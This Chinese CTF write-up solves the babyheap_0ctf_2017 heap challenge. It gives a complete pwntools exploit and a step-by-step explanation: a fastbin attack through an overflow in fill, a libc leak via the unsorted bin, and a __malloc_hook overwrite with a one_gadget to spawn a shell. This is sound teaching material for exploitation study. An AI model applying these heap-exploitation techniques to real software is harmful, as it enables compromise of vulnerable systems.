前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup

【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup

作者头像
Gamma实验室
发布2020-12-23 10:16:31
发布2020-12-23 10:16:31
1.9K20
代码可运行
举报
文章被收录于专栏:Gamma安全实验室Gamma安全实验室
运行总次数:0
代码可运行

参考网址:

代码语言:javascript
代码运行次数:0
运行
复制
https://www.cnblogs.com/luoleqi/p/12349714.html

分析

参考网址说的已经不错了,主要问题出现在fill功能,只要chunk存在,即可写任意长度的字符。

主要还是利用fasbin attack和unsorted的特性(下面会说到)来修改__malloc_hook拿到shell。

这里我来实际走一遍exp的流程,下面的exp我用的是本地的libc。

这里我先把exp放出来,之后会分析exp的每一步操作具体干了什么

Exploit

代码语言:javascript
代码运行次数:0
运行
复制
#coding:utf-8
from pwn import *

p = process("./babyheap_0ctf_2017_glibc2.23") 
context.log_level="debug"

def allocate(size):
  p.recvuntil('Command: ')
  p.sendline('1')
  p.recvuntil('Size: ')
  p.sendline(str(size))
 
def fill(idx,content):
  p.recvuntil('Command: ')
  p.sendline('2')
  p.recvuntil('Index: ')
  p.sendline(str(idx))
  p.recvuntil('Size: ')
  p.sendline(str(len(content)))
  p.recvuntil('Content: ')
  p.send(content)
 
def free(idx):
  p.recvuntil('Command: ')
  p.sendline('3')
  p.recvuntil('Index: ')
  p.sendline(str(idx))
 
def dump(idx):
  p.recvuntil('Command: ')
  p.sendline('4')
  p.recvuntil('Index: ')
  p.sendline(str(idx))
  p.recvline()
  return p.recvline()

allocate(0x10) # 0
allocate(0x10) # 1
allocate(0x10) # 2
allocate(0x10) # 3
allocate(0x80) # 4
free(1)
free(2)

payload = p64(0) * 3
payload += p64(0x21)
payload += p64(0) * 3
payload += p64(0x21)
payload += p8(0x80)
fill(0,payload)

payload = p64(0) * 3
payload += p64(0x21)
fill(3,payload)  # 为了后面malloc做准备,绕过检查


allocate(0x10)
allocate(0x10)
fill(1,'aaaabbbb')
fill(2,'bbbbcccc')
payload = p64(0) * 3
payload += p64(0x91)
fill(3,payload)
allocate(0x80)
free(4)

libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))

allocate(0x60)
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)

allocate(0x60)
allocate(0x60)

payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4527a)
fill(6, payload)
 
allocate(255)
 

p.interactive()
 

Exp分析

下面的代码定义了分配了五个chunk。并且free掉了1和2。

代码语言:javascript
代码运行次数:0
运行
复制
allocate(0x10) # 0
allocate(0x10) # 1
allocate(0x10) # 2
allocate(0x10) # 3
allocate(0x80) # 4
free(1)
free(2)

1和2是fastbin,所以不会合并。此时内存结构如下。可以发现chunk2的fd指向的是chunk1首地址。下次malloc相同的大小的时候,会先分配chunk2,然后分配chunk1。

我比较菜,我想看存放结构体的内存地址。只能通过如下方法。

首先执行vmmap命令。可以找到mmap分配的首地址。然后从分配的首地址(0x1b5748c0d000)依次向后查看,这块内存空间应该都是0。只要有数据的地方应该就是存放结构体的地方。

一直找一直找,然后我找到了结构体的位置,地址为0x1b5748c0dc60

其实参考链接已经说过了。这里用chunk0来讲解一下。

我把下图当成一个数组,每一个元素都是一个结构体。说白了就是一个结构体数组。 每个结构体有三个元素,第一个元素chunk0的标志位,用来判断该当前结构体是否被使用,如果被使用,则第二个元素是该chunk的大小,第三个元素是chunk的首地址。如果没有被使用,则全部是0。

0x0000000000000001 (chunk0的标志位,1表示该chunk存在) 0x0000000000000010(chunk0的大小) 0x00005640ba838010 (chunk0的地址)

可以看到为什么chunk1和chunk2全部都是0呢?因为此时我们已经free(1)和free(2)了。


下面代码主要用来修改chunk2的fd指针。根据前面的图片可以看出现在chunk2的fd值是`0x00005640ba838020`

代码语言:javascript
代码运行次数:0
运行
复制
payload = p64(0) * 3
payload += p64(0x21)
payload += p64(0) * 3
payload += p64(0x21)
payload += p8(0x80)
fill(0,payload)

执行代码之后,可以发现将chunk2的fd指针的最后一位修改为了80。可以发现此时chunk2的fd指针指向的是chunk4。(大佬的思维真的强。。)


下面代码主要用来修改chunk4的size。此时chunk4的size为0x91。主要为了绕过malloc的检查。因为我们之后想在chunk4的地方重新malloc。(如果这里不太懂,就向后看)

代码语言:javascript
代码运行次数:0
运行
复制
payload = p64(0) * 3
payload += p64(0x21)
fill(3,payload)  # 为了后面malloc做准备,绕过malloc检查

执行代码之后,可以发现chunk4的size变为了0x21

下面的代码用来分配两个chunk,大小都为0x10。还记得我们之前的free(1)free(2)吗?

首先第一个allocate(0x10)会分配到chunk2,因为此时chunk2是free状态的fastbin。

第二个allocate(0x10)会分配到chunk4上面。有人会问为什么不会分配到chunk1,仔细看上面的步骤,我们已经把chunk2的fd指针首位覆盖为了0x80。所以allocate(0x10)才会分配到chunk4上面。

代码语言:javascript
代码运行次数:0
运行
复制
但是malloc的时候会检查size是否和要分配的大小相同,这就是为什么上面代码中我们要把chunk4的size位修改为0x21

此时你会发现一个问题,chunk2和chunk4指向了同一个内存地址

后面两个fill其实没什么实际用处(删掉也行)

代码语言:javascript
代码运行次数:0
运行
复制
allocate(0x10)
allocate(0x10)
fill(1,'aaaabbbb') 
fill(2,'bbbbcccc')

执行代码之后,没有什么变化

但结构体这里变化了。你会发现chunk2比chunk4指向了同一块内存地址。


1、fill(3,payload) 其实是将 chunk4 的 size 位变为之前的0x91 2、allocate(0x80) 用来分割top chunk和chunk4,防止堆块合并,因为我们后面要free(4) 3、free(4)之后,chunk4会被放到unsorted bin中。此时chunk4的fd指针是 unsorted bin 链表的头部,这个地址为 main_arena + 0x58

代码语言:javascript
代码运行次数:0
运行
复制
unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ,
所以我们得到fd的值,然后再减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。所以我们需要把 chunk 改成大于 fastbin 的大小,这样 free 后能进入 unsortbin 让我们能够泄露 libc 基址。-----来自参考网址

虽然我们free(4),此时结构体那里应该已经置0了,但我们还可以通过chunk2来泄露chunk4的fd指针,因为chunk2和chunk4是指向的同一块内存地址。

4、dump(2) 用来泄露fd指针,算出libc基址

代码语言:javascript
代码运行次数:0
运行
复制
payload = p64(0) * 3
payload += p64(0x91)
fill(3,payload)
allocate(0x80) 
free(4)

libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00")) - (0x3c4b20 + 0x58)
log.info("libc_base: "+hex(libc_base))

执行代码后如下图

再看看结构体内存图

此时我们成功获取libc基址


1、allocate(0x60) 会从chunk4里分割出来。此时chunk4是unsorted bin。大小为0x80,此时我们需要分配0x60。会从chunk4里分割出来。我们把他定义为chunk6,虽然是chunk6,但是他在结构体数组中的索引为4。

2、free(4) 此时即free(chunk6)。

这两步主要用来将chunk4分离出一个fasbin大小的chunk6,然后再free。chunk6进入fastbin。之后我们可以通过修改chunk2修改chunk6的值,然后再malloc,进行fastbin attack,可以任意地址分配。修改任意内存。

代码语言:javascript
代码运行次数:0
运行
复制
allocate(0x60)
free(4)

执行代码后如下,可以发现chunk4被分为了两部分,我定义上面那部分为chunk6,但是在数组中索引为4。

之后又free(4)。所以结构体数组中的4还是置0的


我们现在需要修改__malloc_hook的值。我们先找到__malloc_hook的地址

然后查看该__malloc_hook附近的内存空间。

我们想要在这范围内进行malloc,就需要绕过malloc的限制。我们发现附近7f比较多,我们可以找一个内存地址,将7f当为我们要malloc的size位。

例如如下的内存地址,0x7fd25e3b7aed。如果我们在这个地址进行malloc,则size位为0x7f。那我们分配一个0x60大小的chunk,即可绕过malloc的限制。

我们算出该地址对libc的基址的偏移是0x3c4aed


1、fill(2, payload)修改chunk6的fd指针。fd指针即我们想分配到的内存地址,为libc_base+0x3c4aed 2、第一个allocate(0x60)分配到chunk6。 3、第二个allocate(0x60)会分配到chunk6的fd指针所指向的地址,即libc_base+0x3c4aed

代码语言:javascript
代码运行次数:0
运行
复制
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
allocate(0x60)
allocate(0x60)

由于中间程序断了,又重新运行了一下,不过原理都是一样的,地址可能和上面的不太一样了。

两次allocate(0x60)之后,在结构体数组中索引为6的地方即我们在__malloc_hook附近malloc的地方

此时我们编辑6,即可编辑__malloc_hook的内存。


下面即编辑__malloc_hook的代码,p8(0)*3和p64(0)*2用来内存对齐,libc_base+0x4527a是一个libc中的one_gadget。

代码语言:javascript
代码运行次数:0
运行
复制
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4527a)
fill(6, payload)

执行代码后,即可修改**__malloc_hook**的值,可以看到已经将__malloc_hook修改为one_gadget了。下次调用malloc或者calloc的时候就可以获得shell。


获取shell

代码语言:javascript
代码运行次数:0
运行
复制
allocate(255)

buuctf中的libc需要在Buuctf上下载,上面写了是Ubuntu16的64位。

看完记得点赞,关注哟,爱您!

END

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-12-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Gamma安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档